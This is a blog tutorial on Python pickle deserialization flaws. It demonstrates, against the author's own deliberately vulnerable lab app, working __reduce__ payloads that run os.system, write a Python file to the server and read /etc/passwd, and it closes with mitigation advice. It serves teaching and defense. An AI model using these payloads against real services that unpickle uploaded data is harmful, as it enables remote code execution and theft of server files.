• BLOG

  • Explaining and exploiting deserialization vulnerability with Python (EN)

    Sat 23 September 2017 Dan Lousqui

    Share on: Twitter - Facebook - Google+

    screenshot

    Deserialization?

    Even though it was neither present in OWASP TOP 10 2013, nor in OWASP TOP 10 2017 RC1, Deserialization of untrusted data is a very serious vulnerability that we can see more and more often on current security disclosures.

    Serialization and Deserialization are mechanisms used in many environment (web, mobile, IoT, ...) when you need to convert any Object (it can be an OOM, an array, a dictionary, a file descriptor, ... anything) to something that you can put "outside" of your application (network, file system, database, ...). This conversion can be in both way, and it's very convenient if you need to save or transfer data (Ex: share the status of a game in multilayer game, create an "export" / "backup" file in a project, ...).

    However, we will see in this article how this kind of behavior can be very dangerous... and therefore, why I think this vulnerability will be present in OWASP TOP 10 2017 RC2.

    In python?

    With python, the default library used to serialize and deserialize objects is pickle.

    It is a really easy to use library (compared to something like sqlite3) and very convenient if you need to persist data.

    For example, if you want to save objects:

    import pickle
    import datetime
    my_data = {}
    my_data['last-modified'] = str(datetime.datetime.now())
    my_data['friends'] = ["alice", "bob"]
    pickle_data = pickle.dumps(my_data)
    with open("backup.data", "wb") as file:
        file.write(pickle_data)
    

    That will create a backup.data file with the following content:

    last-modifiedqX2017-09-23 00:23:29.986499qXfriendsq]q(XaliceqXbobqeu.
    

    And if you want to retrieve your data with Python, it's easy:

    import pickle
    with open("backup.data", "rb") as file:
        pickle_data = file.read()
    my_data =  pickle.loads(pickle_data)
    my_data
    # {'friends': ['alice', 'bob'], 'last-modified': '2001-01-01 01:02:03.456789'}
    

    Awesome, isn't it?

    Introducing... Pickle pRick !

    In order to illustrate the awesomeness of pickle in term of insecurity, I developed a vulnerable application.

    You can retrieve the application on the TheBlusky/pickle-prick repository.

    As always with my Docker, just execute the build.sh or build.bat script, and the vulnerable project will be launched.

    This application is for Ricks, from the Rick and Morty TV show. For those who don't know this show (shame ...) Rick is a genius scientist who travel between universes and planets for great adventures with his grand son Morty. The show implies many multiverse and time-travel dilemma. Each universe got their own Rick, so I developed an application for every Rick, so they can trace their adventures by storing when, where and with who they travelled.

    Each Ricks must be able to use the application, and the data should never be stored on the server, so one Rick cannot see the data of other Ricks. In order to do that, Rick can export his agenda into a pickle_rick.data file that can be imported later.

    screenshot

    Obviously, this application is vulnerable (Rick would not offer other Ricks this kind of gift without a backdoor ...). If you don't want to be spoiled, and want to play a little game, you should stop reading this article and try to launch the application (locally), and try to pwn it :-) (Without looking at the exploit folder obviously, ...)

    What's wrong with Pickle?

    pickle (like any other serialization / deserialization library) provides a way to execute arbitrary command (even if few developers know it).

    In order to do that, you simply have to create an object, and to implement a __reduce__(self) method. This method should return a list of n elements, the first being a callable, and the others arguments. The callable will be executed with underlying arguments, and the result will be the "unserialization" of the object.

    For exemple, if you save the following pickle object:

    import pickle
    import os
    class EvilPickle(object):
        def __reduce__(self):
            return (os.system, ('echo Powned', ))
    pickle_data = pickle.dumps(EvilPickle())
    with open("backup.data", "wb") as file:
        file.write(pickle_data)
    

    And then later, try to deserialize the object :

    import pickle
    with open("backup.data", "rb") as file:
        pickle_data = file.read()
    my_data =  pickle.loads(pickle_data)
    

    A Powned will be displayed with the loads function, as echo Powned will be executed. It's easy then to imagine what we can do with such a powerful vulnerability.

    The exploit

    In the pickle-prick application, pickle is used in order to retrieve all adventures:

    async def do_import(request):
        session = await get_session(request)
        data = await request.post()
        try:
            pickle_prick = data['file'].file.read()
        except:
            session['errors'] = ["Couldn't read pickle prick file."]
            return web.HTTPFound('/')
        prick = base64.b64decode(pickle_prick.decode())
        session['adventures'] = [i for i in pickle.loads(prick)]
        return web.HTTPFound('/')
    

    So if we upload a malicious pickle, it will be executed. However, if we want to be able to read the result of a code execution, the __reducer__ callable, must return an object that meets with adventures signature (which is an array of dictionary having a date, universe, planet and a morty). In order to do that, we will use the vulnerability twice: a first time to upload a malicious python code, and a second time to execute it.

    1. Generating a payload to generate a payload

    We want to upload a python file that contain a callable that meets adventures signature and will be executed on the server. Let's write an evil_rick_shell.py file with such a code:

    def do_evil():
        with open("/etc/passwd") as f:
            data = f.readlines()
        return [{"date": line, "dimension": "//", "planet": "//","morty": "//"} for line in data]
    

    Now, let's create a pickle that will write this file on the server:

    import pickle
    import base64
    import os
    
    class EvilRick1(object):
        def __reduce__(self):
            with open("evil_rick_shell.py") as f:
                data = f.readlines()
            shell = "\n".join(data)
            return os.system, ("echo '{}' > evil_rick_shell.py".format(shell),)
    
    prick = pickle.dumps(EvilRick1())
    if os.name == 'nt': # Windows trick
        prick = prick[0:3] + b"os" + prick[5:]
    pickle_prick = base64.b64encode(prick).decode()
    with open("evil_rick1.data", "w") as file:
        file.write(pickle_prick)
    

    This pickle file will trigger an echo '{payload}' > evil_rick_shell.py command on the server, so the payload will be installed.

    As the os.system callable does not meet with adventure signature, uploading the evil_rick1.data should return a 500 error, but it will be too late for any security :-)

    2. Generating a payload to execute a payload

    Now let's create a pickle object that will call the evil_rick_shell.do_evil callable:

    import pickle
    import base64
    import evil_rick_shell
    
    class EvilRick2(object):
        def __reduce__(self):
            return evil_rick_shell.do_evil, ()
    
    prick = pickle.dumps(EvilRick2())
    pickle_prick = base64.b64encode(prick).decode()
    with open("evil_rick2.data", "w") as file:
        file.write(pickle_prick)
    

    The evil_rick_shell.do_evil callable meeting with adventure signature, uploading the evil_rick2.data should be fine, and should add each line of the /etc/passwd file as an adventure.

    Build it all together

    Once both payloads are generated, simply upload the first one, then the second one, and you should be able to have this amazing screen:

    screenshot

    We can see that the do_evil() payload has been triggered, and we can see the content of /etc/passwd file. Even though the content of this file is not (really) sensitive, it's quite easy to imagine something more evil to be executed on Rick's server.

    How to protect against it

    It's simple... don't use pickle (or any other "wannabe" universal and automatic serializer) if you are going to parse untrusted data with it.

    It's not that hard to write your own convert_data_to_string(data) and convert_string_to_data(string) functions that won't be able to interpret forged object with malicious code within.

    I hope you enjoyed this article, and have fun with it :-)

  • Comments